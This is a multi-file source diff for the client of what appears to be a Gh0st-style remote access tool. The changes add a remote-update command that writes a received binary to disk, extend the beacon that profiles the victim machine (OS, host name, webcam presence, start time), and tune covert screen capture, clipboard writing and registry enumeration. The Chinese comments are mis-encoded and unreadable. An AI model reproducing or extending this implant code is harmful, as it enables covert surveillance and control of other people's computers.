switch(szBuffer[0]) switch(szBuffer[0])
{ {
@@ -73,12 +151,19 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_BYE: case COMMAND_BYE:
{ {
BYTE bToken = COMMAND_BYE; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h BYTE bToken = COMMAND_BYE;// <EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD><EFBFBD>˳<EFBFBD>
m_ClientObject->OnServerSending((char*)&bToken, 1); m_ClientObject->OnServerSending((char*)&bToken, 1);
OutputDebugStringA("======> Bye bye \n"); m_bIsDead = 1;
m_hThread[m_ulThreadCount].p = NULL; OutputDebugStringA("======> Client exit \n");
delete pNew; break;
pNew = NULL; }
case SERVER_EXIT:
{
BYTE bToken = SERVER_EXIT;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
m_ClientObject->OnServerSending((char*)&bToken, 1);
m_bIsDead = 2;
OutputDebugStringA("======> Server exit \n");
break; break;
} }
@@ -130,12 +215,31 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break; break;
} }
case COMMAND_UPDATE:
{
if (m_ulThreadCount != -1) {
delete m_hThread[m_ulThreadCount].p;
m_hThread[m_ulThreadCount].p = NULL;
}
ULONGLONG size=0;
memcpy(&size, (const char*)szBuffer + 1, sizeof(ULONGLONG));
if (WriteBinaryToFile((const char*)szBuffer + 1 + sizeof(ULONGLONG), size)) {
extern BOOL g_bExit;
g_bExit = 3;
}
break;
}
default: default:
{ {
OutputDebugStringA("======> Error operator\n"); OutputDebugStringA("======> Error operator\n");
char buffer[256] = {};
strncpy(buffer, (const char*)(szBuffer+1), sizeof(buffer));
printf("!!! Unknown command: %s\n", buffer);
if (m_ulThreadCount != -1) {
delete m_hThread[m_ulThreadCount].p;
m_hThread[m_ulThreadCount].p = NULL; m_hThread[m_ulThreadCount].p = NULL;
delete pNew; }
pNew = NULL;
break; break;
} }
} }

View File

@@ -12,7 +12,9 @@
#include "Manager.h" #include "Manager.h"
#include <vector> #include <vector>
// <20>߳<EFBFBD><DFB3><EFBFBD>Ϣ<EFBFBD><EFBFBD><E1B9B9> #define MAX_THREADNUM 0x1000>>2
// <20>߳<EFBFBD><DFB3><EFBFBD>Ϣ<EFBFBD><EFBFBD><E1B9B9>, <20><><EFBFBD><EFBFBD>3<EFBFBD><33><EFBFBD><EFBFBD>Ա: <20><><EFBFBD><EFBFBD>״̬(run)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(h)<29><>ͨѶ<CDA8>ͻ<EFBFBD><CDBB><EFBFBD>(p).
struct ThreadInfo struct ThreadInfo
{ {
BOOL run; BOOL run;
@@ -28,8 +30,11 @@ public:
virtual ~CKernelManager(); virtual ~CKernelManager();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength); VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
ThreadInfo m_hThread[0x1000]; ThreadInfo m_hThread[MAX_THREADNUM];
// <20><>ֵ<EFBFBD><D6B5>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڼ<EFBFBD>¼<EFBFBD>߳<EFBFBD><DFB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD><DFB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱm_hThread<61><64>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>³<EFBFBD><C2B3><EFBFBD><EFBFBD>
// <20><><EFBFBD><EFBFBD><EFBFBD>ҽ<EFBFBD><D2BD><EFBFBD>ֵ<EFBFBD>ĺ<EFBFBD><C4BA><EFBFBD><EFBFBD>޸<EFBFBD>Ϊ"<22><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD><DFB3>±<EFBFBD>"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>m_hThread<61><64><EFBFBD><EFBFBD>ָλ<D6B8>ÿ<EFBFBD><C3BF>ã<EFBFBD><C3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>µ<EFBFBD><C2B5>̷߳<DFB3><CCB7><EFBFBD><EFBFBD>ڸ<EFBFBD>λ<EFBFBD><CEBB>
ULONG m_ulThreadCount; ULONG m_ulThreadCount;
UINT GetAvailableIndex();
}; };
#endif // !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_) #endif // !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_)

View File

@@ -1,15 +1,166 @@
#include "StdAfx.h" #include "StdAfx.h"
#include "LoginServer.h" #include "LoginServer.h"
#include "Common.h" #include "Common.h"
#include <string>
#include <iostream>
#include <iomanip>
#include <ctime>
/************************************************************************
int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed) ---------------------
<EFBFBD><EFBFBD><EFBFBD>ߣ<EFBFBD>IT1995
<EFBFBD><EFBFBD>Դ<EFBFBD><EFBFBD>CSDN
ԭ<EFBFBD>ģ<EFBFBD>https://blog.csdn.net/qq78442761/article/details/64440535
<EFBFBD><EFBFBD>Ȩ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>£<EFBFBD>ת<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӣ<EFBFBD>
<EFBFBD>޸<EFBFBD>˵<EFBFBD><EFBFBD><EFBFBD><EFBFBD>2019.3.29<EFBFBD><EFBFBD>Ԭ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>޸<EFBFBD>
************************************************************************/
std::string getSystemName()
{ {
LOGIN_INFOR LoginInfor = {0}; std::string vname("δ֪<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ");
//<2F><><EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD>Ϊwin8.1<EFBFBD><EFBFBD>win10
typedef void(__stdcall*NTPROC)(DWORD*, DWORD*, DWORD*);
HINSTANCE hinst = LoadLibrary("ntdll.dll");
if (hinst == NULL)
{
return vname;
}
DWORD dwMajor, dwMinor, dwBuildNumber;
NTPROC proc = (NTPROC)GetProcAddress(hinst, "RtlGetNtVersionNumbers");
if (proc==NULL)
{
return vname;
}
proc(&dwMajor, &dwMinor, &dwBuildNumber);
if (dwMajor == 6 && dwMinor == 3) //win 8.1
{
vname = "Windows 8.1";
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
return vname;
}
if (dwMajor == 10 && dwMinor == 0) //win 10
{
vname = "Windows 10";
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
return vname;
}
//<2F><><EFBFBD><EFBFBD><E6B2BB><EFBFBD>ж<EFBFBD>Win Server<65><72><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>˻<EFBFBD>δ<EFBFBD><CEB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ<CFB5>Ļ<EFBFBD><C4BB>ӣ<EFBFBD><D3A3><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//<2F>ж<EFBFBD>win8.1<EFBFBD><EFBFBD><EFBFBD>µİ汾
SYSTEM_INFO info; //<2F><>SYSTEM_INFO<46><EFBFBD>ж<EFBFBD>64λAMD<4D><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
GetSystemInfo(&info); //<2F><><EFBFBD><EFBFBD>GetSystemInfo<66><6F><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
OSVERSIONINFOEX os;
os.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
if (GetVersionEx((OSVERSIONINFO *)&os))
{
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ汾<DDB0><E6B1BE>Ϣ<EFBFBD>жϲ<D0B6><CFB2><EFBFBD>ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD>
switch (os.dwMajorVersion)
{ //<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD><E6B1BE>
case 4:
switch (os.dwMinorVersion)
{ //<2F>жϴΰ汾<CEB0><E6B1BE>
case 0:
if (os.dwPlatformId == VER_PLATFORM_WIN32_NT)
vname ="Windows NT 4.0"; //1996<39><36>7<EFBFBD>·<EFBFBD><C2B7><EFBFBD>
else if (os.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS)
vname = "Windows 95";
break;
case 10:
vname ="Windows 98";
break;
case 90:
vname = "Windows Me";
break;
}
break;
case 5:
switch (os.dwMinorVersion)
{ //<2F>ٱȽ<D9B1>dwMinorVersion<6F><6E>ֵ
case 0:
vname = "Windows 2000"; //1999<39><39>12<31>·<EFBFBD><C2B7><EFBFBD>
break;
case 1:
vname = "Windows XP"; //2001<30><31>8<EFBFBD>·<EFBFBD><C2B7><EFBFBD>
break;
case 2:
if (os.wProductType == VER_NT_WORKSTATION &&
info.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
vname = "Windows XP Professional x64 Edition";
else if (GetSystemMetrics(SM_SERVERR2) == 0)
vname = "Windows Server 2003"; //2003<30><33>3<EFBFBD>·<EFBFBD><C2B7><EFBFBD>
else if (GetSystemMetrics(SM_SERVERR2) != 0)
vname = "Windows Server 2003 R2";
break;
}
break;
case 6:
switch (os.dwMinorVersion)
{
case 0:
if (os.wProductType == VER_NT_WORKSTATION)
vname = "Windows Vista";
else
vname = "Windows Server 2008"; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
break;
case 1:
if (os.wProductType == VER_NT_WORKSTATION)
vname = "Windows 7";
else
vname = "Windows Server 2008 R2";
break;
case 2:
if (os.wProductType == VER_NT_WORKSTATION)
vname = "Windows 8";
else
vname = "Windows Server 2012";
break;
}
break;
default:
vname = "δ֪<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ";
}
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
}
else
printf_s("<EFBFBD><EFBFBD><EFBFBD>ȡʧ<EFBFBD><EFBFBD>\n");
return vname;
}
std::string formatTime(const FILETIME& fileTime) {
// ת<><D7AA>Ϊ 64 λʱ<CEBB><CAB1>
ULARGE_INTEGER ull;
ull.LowPart = fileTime.dwLowDateTime;
ull.HighPart = fileTime.dwHighDateTime;
// ת<><D7AA>Ϊ<EFBFBD>뼶ʱ<EBBCB6><CAB1><EFBFBD><EFBFBD>
std::time_t startTime = static_cast<std::time_t>((ull.QuadPart / 10000000ULL) - 11644473600ULL);
// <20><>ʽ<EFBFBD><CABD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
std::tm* localTime = std::localtime(&startTime);
char buffer[100];
std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", localTime);
return std::string(buffer);
}
std::string getProcessTime() {
FILETIME creationTime, exitTime, kernelTime, userTime;
// <20><>ȡ<EFBFBD><C8A1>ǰ<EFBFBD><C7B0><EFBFBD>̵<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>Ϣ
if (GetProcessTimes(GetCurrentProcess(), &creationTime, &exitTime, &kernelTime, &userTime)) {
return formatTime(creationTime);
}
std::time_t now = std::time(nullptr);
std::tm* t = std::localtime(&now);
char buffer[100];
std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", t);
return buffer;
}
int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed, int nType)
{
LOGIN_INFOR LoginInfor;
LoginInfor.bToken = TOKEN_LOGIN; // <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>¼ LoginInfor.bToken = TOKEN_LOGIN; // <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>¼
//<2F><><EFBFBD>ò<EFBFBD><C3B2><EFBFBD>ϵͳ<CFB5><CDB3>Ϣ //<2F><><EFBFBD>ò<EFBFBD><C3B2><EFBFBD>ϵͳ<CFB5><CDB3>Ϣ
LoginInfor.OsVerInfoEx.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); strcpy_s(LoginInfor.OsVerInfoEx, getSystemName().c_str());
GetVersionEx((OSVERSIONINFO *)&LoginInfor.OsVerInfoEx); // ע<><D7A2>ת<EFBFBD><D7AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//<2F><><EFBFBD><EFBFBD>PCName //<2F><><EFBFBD><EFBFBD>PCName
char szPCName[MAX_PATH] = {0}; char szPCName[MAX_PATH] = {0};
@@ -29,9 +180,9 @@ int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed)
memcpy(LoginInfor.szPCName,szPCName,MAX_PATH); memcpy(LoginInfor.szPCName,szPCName,MAX_PATH);
LoginInfor.dwSpeed = dwSpeed; LoginInfor.dwSpeed = dwSpeed;
LoginInfor.dwCPUMHz = dwCPUMHz; LoginInfor.dwCPUMHz = dwCPUMHz;
LoginInfor.ClientAddr = ClientAddr.sin_addr;
LoginInfor.bWebCamIsExist = bWebCamIsExist; LoginInfor.bWebCamIsExist = bWebCamIsExist;
strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str());
sprintf_s(LoginInfor.szReserved, "%s", nType==CLIENT_TYPE_DLL?"DLL":"EXE");
int iRet = ClientObject->OnServerSending((char*)&LoginInfor, sizeof(LOGIN_INFOR)); int iRet = ClientObject->OnServerSending((char*)&LoginInfor, sizeof(LOGIN_INFOR));
return iRet; return iRet;
@@ -56,7 +207,7 @@ BOOL WebCamIsExist()
BOOL bOk = FALSE; BOOL bOk = FALSE;
char szDeviceName[100], szVer[50]; char szDeviceName[100], szVer[50];
for (int i = 0; i < 10 && !bOk; i++) for (int i = 0; i < 10 && !bOk; ++i)
{ {
bOk = capGetDriverDescription(i, szDeviceName, sizeof(szDeviceName), bOk = capGetDriverDescription(i, szDeviceName, sizeof(szDeviceName),
//ϵͳ<CFB5><CDB3>API<50><49><EFBFBD><EFBFBD> //ϵͳ<CFB5><CDB3>API<50><49><EFBFBD><EFBFBD>

View File

@@ -5,17 +5,6 @@
#pragma comment(lib,"Vfw32.lib") #pragma comment(lib,"Vfw32.lib")
typedef struct _LOGIN_INFOR int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed, int nType);
{
BYTE bToken; // = 1 //<2F><>½<EFBFBD><C2BD>Ϣ
OSVERSIONINFOEX OsVerInfoEx; // <20><EFBFBD><E6B1BE>Ϣ
DWORD dwCPUMHz; // CPU<50><55>Ƶ
IN_ADDR ClientAddr; // <20>洢32λ<32><CEBB>IPv4<76>ĵ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ݽṹ
char szPCName[MAX_PATH]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BOOL bWebCamIsExist; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
DWORD dwSpeed; // <20><><EFBFBD><EFBFBD>
}LOGIN_INFOR,*PLOGIN_INFOR;
int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed);
DWORD CPUClockMHz(); DWORD CPUClockMHz();
BOOL WebCamIsExist(); BOOL WebCamIsExist();

View File

@@ -4,6 +4,7 @@
#include "stdafx.h" #include "stdafx.h"
#include "Manager.h" #include "Manager.h"
#include "IOCPClient.h"
////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////
// Construction/Destruction // Construction/Destruction
@@ -11,6 +12,7 @@
CManager::CManager(IOCPClient* ClientObject) CManager::CManager(IOCPClient* ClientObject)
{ {
m_bIsDead = false;
m_ClientObject = ClientObject; m_ClientObject = ClientObject;
m_ClientObject->setManagerCallBack(this); m_ClientObject->setManagerCallBack(this);
@@ -33,7 +35,9 @@ int CManager::Send(LPBYTE lpData, UINT nSize)
try try
{ {
nRet = m_ClientObject->OnServerSending((char*)lpData, nSize); nRet = m_ClientObject->OnServerSending((char*)lpData, nSize);
}catch(...){}; }catch(...){
printf("[ERROR] CManager::Send catch an error \n");
};
return nRet; return nRet;
} }

View File

@@ -9,14 +9,12 @@
#pragma once #pragma once
#endif // _MSC_VER > 1000 #endif // _MSC_VER > 1000
#include "IOCPClient.h"
class IOCPClient; class IOCPClient;
class CManager class CManager
{ {
public: public:
BOOL m_bIsDead; // 1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
CManager(IOCPClient* ClientObject); CManager(IOCPClient* ClientObject);
virtual ~CManager(); virtual ~CManager();

View File

@@ -18,7 +18,7 @@ public:
CRegisterManager(IOCPClient* ClientObject, int n); CRegisterManager(IOCPClient* ClientObject, int n);
virtual ~CRegisterManager(); virtual ~CRegisterManager();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength); VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
VOID CRegisterManager::Find(char bToken, char *szPath); VOID Find(char bToken, char *szPath);
}; };
#endif // !defined(AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_) #endif // !defined(AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_)

View File

@@ -86,9 +86,11 @@ char* RegisterOperation::FindPath()
if(KeyCount>0&&KeySize>1){ if(KeyCount>0&&KeySize>1){
int Size=sizeof(REGMSG)+1; int Size=sizeof(REGMSG)+1;
//buf=new char[KeyCnt*KeySize+size+1];
DWORD DataSize=KeyCount*KeySize+Size+1; //[TOKEN_REG_PATH][2 11 ccccc\0][11][11] DWORD DataSize=KeyCount*KeySize+Size+1; //[TOKEN_REG_PATH][2 11 ccccc\0][11][11]
szBuffer=(char*)LocalAlloc(LPTR, DataSize); szBuffer=(char*)LocalAlloc(LPTR, DataSize);
if (szBuffer == NULL) {
return NULL;
}
ZeroMemory(szBuffer,DataSize); ZeroMemory(szBuffer,DataSize);
szBuffer[0]=TOKEN_REG_PATH; //<2F><><EFBFBD><EFBFBD>ͷ szBuffer[0]=TOKEN_REG_PATH; //<2F><><EFBFBD><EFBFBD>ͷ
REGMSG msg; //<2F><><EFBFBD><EFBFBD>ͷ REGMSG msg; //<2F><><EFBFBD><EFBFBD>ͷ
@@ -149,13 +151,20 @@ char* RegisterOperation::FindKey()
DWORD size=sizeof(REGMSG)+ DWORD size=sizeof(REGMSG)+
sizeof(BYTE)*NameCount+ NameSize*NameCount+DataSize*NameCount+10; sizeof(BYTE)*NameCount+ NameSize*NameCount+DataSize*NameCount+10;
szBuffer = (char*)LocalAlloc(LPTR, size); szBuffer = (char*)LocalAlloc(LPTR, size);
if (szBuffer==NULL)
{
return NULL;
}
ZeroMemory(szBuffer,size); ZeroMemory(szBuffer,size);
szBuffer[0]=TOKEN_REG_KEY; //<2F><><EFBFBD><EFBFBD>ͷ szBuffer[0]=TOKEN_REG_KEY; //<2F><><EFBFBD><EFBFBD>ͷ
memcpy(szBuffer+1,(void*)&msg,msgsize); //<2F><><EFBFBD><EFBFBD>ͷ memcpy(szBuffer+1,(void*)&msg,msgsize); //<2F><><EFBFBD><EFBFBD>ͷ
szValueName=(char *)malloc(NameSize); szValueName=(char *)malloc(NameSize);
szValueDate=(LPBYTE)malloc(DataSize); szValueDate=(LPBYTE)malloc(DataSize);
if (szValueName==NULL||szValueDate == NULL)
{
return NULL;
}
char *szTemp=szBuffer+msgsize+1; char *szTemp=szBuffer+msgsize+1;
for(dwIndex=0;dwIndex<NameCount;dwIndex++) //ö<>ټ<EFBFBD>ֵ for(dwIndex=0;dwIndex<NameCount;dwIndex++) //ö<>ټ<EFBFBD>ֵ
{ {

View File

@@ -14,11 +14,11 @@ class RegisterOperation
public: public:
RegisterOperation(char bToken); RegisterOperation(char bToken);
virtual ~RegisterOperation(); virtual ~RegisterOperation();
char* RegisterOperation::FindPath(); char* FindPath();
HKEY MKEY; HKEY MKEY;
char KeyPath[MAX_PATH]; char KeyPath[MAX_PATH];
void RegisterOperation::SetPath(char *szPath); void SetPath(char *szPath);
char* RegisterOperation::FindKey(); char* FindKey();
}; };
#endif // !defined(AFX_REGISTEROPERATION_H__BB4F3ED1_FA98_4BA4_97D6_A78E683131CC__INCLUDED_) #endif // !defined(AFX_REGISTEROPERATION_H__BB4F3ED1_FA98_4BA4_97D6_A78E683131CC__INCLUDED_)

BIN
client/Res/ghost.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.2 KiB

BIN
client/Res/msg.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.4 KiB

View File

@@ -26,7 +26,9 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n):CManager(ClientO
m_bIsWorking = TRUE; m_bIsWorking = TRUE;
m_bIsBlockInput = FALSE; m_bIsBlockInput = FALSE;
m_ScreenSpyObject = new CScreenSpy(16); m_ScreenSpyObject = new CScreenSpy(32);
szBuffer = new char[4 * m_ScreenSpyObject->GetWidth() * m_ScreenSpyObject->GetHeight() + 1];
m_hWorkThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WorkThreadProc,this,0,NULL); m_hWorkThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WorkThreadProc,this,0,NULL);
} }
@@ -36,44 +38,73 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
{ {
CScreenManager *This = (CScreenManager *)lParam; CScreenManager *This = (CScreenManager *)lParam;
This->SendBitMapInfor(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB> This->SendBitMapInfo(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB>
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
This->WaitForDialogOpen(); This->WaitForDialogOpen();
clock_t last = clock(); clock_t last = clock();
This->SendFirstScreen(); This->SendFirstScreen();
const int fps = 10;// ֡<><D6A1> #if USING_ZLIB
const int fps = 8;// ֡<><D6A1>
#elif USING_LZ4
const int fps = 8;// ֡<><D6A1>
#else
const int fps = 8;// ֡<><D6A1>
#endif
const int sleep = 1000 / fps;// <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>䣨ms<6D><73> const int sleep = 1000 / fps;// <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>䣨ms<6D><73>
int c1 = 0; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD>
int c2 = 0; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD>̵Ĵ<CCB5><C4B4><EFBFBD>
int s0 = sleep; // <20><>֮֡<D6A1><D6AE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ms<6D><73>
const int frames = fps; // ÿ<><C3BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>ٶ<EFBFBD>
const double alpha = 1.2; // <20><><EFBFBD><EFBFBD>fps<70><73><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
timeBeginPeriod(1);
while (This->m_bIsWorking) while (This->m_bIsWorking)
{ {
ULONG ulNextSendLength = 0; ULONG ulNextSendLength = 0;
const char* szBuffer = This->GetNextScreen(ulNextSendLength); const char* szBuffer = This->GetNextScreen(ulNextSendLength);
if (szBuffer) if (szBuffer)
{ {
int span = sleep-(clock() - last); int span = s0-(clock() - last);
Sleep(span > 0 ? span : 1); Sleep(span > 0 ? span : 1);
if (span < 0) if (span < 0) // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݺ<EFBFBD>ʱ<EFBFBD>ϳ<EFBFBD><CFB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><CFB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽ϶<DDBD>
printf("SendScreen Span = %d ms\n", span); {
c2 = 0;
if (frames == ++c1) { // <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
s0 = (s0 <= sleep*4) ? s0*alpha : s0;
c1 = 0;
#ifdef _DEBUG
printf("[+]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000./s0);
#endif
}
} else if (span > 0){ // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݺ<EFBFBD>ʱ<EFBFBD><CAB1>s0<73>̣<EFBFBD><CCA3><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>Ϻû<CFBA><C3BB><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>С
c1 = 0;
if (frames == ++c2) { // <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
s0 = (s0 >= sleep/4) ? s0/alpha : s0;
c2 = 0;
#ifdef _DEBUG
printf("[-]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000./s0);
#endif
}
}
last = clock(); last = clock();
This->SendNextScreen(szBuffer, ulNextSendLength); This->SendNextScreen(szBuffer, ulNextSendLength);
delete[] szBuffer;
szBuffer = NULL;
} }
} }
timeEndPeriod(1);
cout<<"ScreenWorkThread Exit\n"; cout<<"ScreenWorkThread Exit\n";
return 0; return 0;
} }
VOID CScreenManager::SendBitMapInfor() VOID CScreenManager::SendBitMapInfo()
{ {
//<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD>bmp<6D><EFBFBD>Ĵ<EFBFBD>С //<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD>bmp<6D><EFBFBD>Ĵ<EFBFBD>С
ULONG ulLength = 1 + m_ScreenSpyObject->GetBISize(); const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER);
LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL, LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL,
ulLength, MEM_COMMIT, PAGE_READWRITE); ulLength, MEM_COMMIT, PAGE_READWRITE);
if (szBuffer == NULL)
return;
szBuffer[0] = TOKEN_BITMAPINFO; szBuffer[0] = TOKEN_BITMAPINFO;
//<2F><><EFBFBD>ォbmpλͼ<CEBB><EFBFBD><E1B9B9><EFBFBD>ͳ<EFBFBD>ȥ //<2F><><EFBFBD>ォbmpλͼ<CEBB><EFBFBD><E1B9B9><EFBFBD>ͳ<EFBFBD>ȥ
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1); memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
@@ -93,8 +124,13 @@ CScreenManager::~CScreenManager()
CloseHandle(m_hWorkThread); CloseHandle(m_hWorkThread);
} }
delete[] m_ScreenSpyObject; delete m_ScreenSpyObject;
m_ScreenSpyObject = NULL; m_ScreenSpyObject = NULL;
if(szBuffer)
{
delete [] szBuffer;
szBuffer = NULL;
}
} }
VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
@@ -145,6 +181,8 @@ VOID CScreenManager::UpdateClientClipboard(char *szBuffer, ULONG ulLength)
if (hGlobal != NULL) { if (hGlobal != NULL) {
LPTSTR szClipboardVirtualAddress = (LPTSTR) GlobalLock(hGlobal); LPTSTR szClipboardVirtualAddress = (LPTSTR) GlobalLock(hGlobal);
if (szClipboardVirtualAddress == NULL)
return;
memcpy(szClipboardVirtualAddress, szBuffer, ulLength); memcpy(szClipboardVirtualAddress, szBuffer, ulLength);
GlobalUnlock(hGlobal); GlobalUnlock(hGlobal);
SetClipboardData(CF_TEXT, hGlobal); SetClipboardData(CF_TEXT, hGlobal);
@@ -188,21 +226,16 @@ VOID CScreenManager::SendFirstScreen()
} }
ULONG ulFirstSendLength = 1 + m_ScreenSpyObject->GetFirstScreenLength(); ULONG ulFirstSendLength = 1 + m_ScreenSpyObject->GetFirstScreenLength();
LPBYTE szBuffer = new BYTE[ulFirstSendLength];
szBuffer[0] = TOKEN_FIRSTSCREEN; szBuffer[0] = TOKEN_FIRSTSCREEN;
memcpy(szBuffer + 1, FirstScreenData, ulFirstSendLength - 1); memcpy(szBuffer + 1, FirstScreenData, ulFirstSendLength - 1);
m_ClientObject->OnServerSending((char*)szBuffer, ulFirstSendLength); m_ClientObject->OnServerSending((char*)szBuffer, ulFirstSendLength);
szBuffer[ulFirstSendLength-1] = 0;
delete [] szBuffer;
szBuffer = NULL;
} }
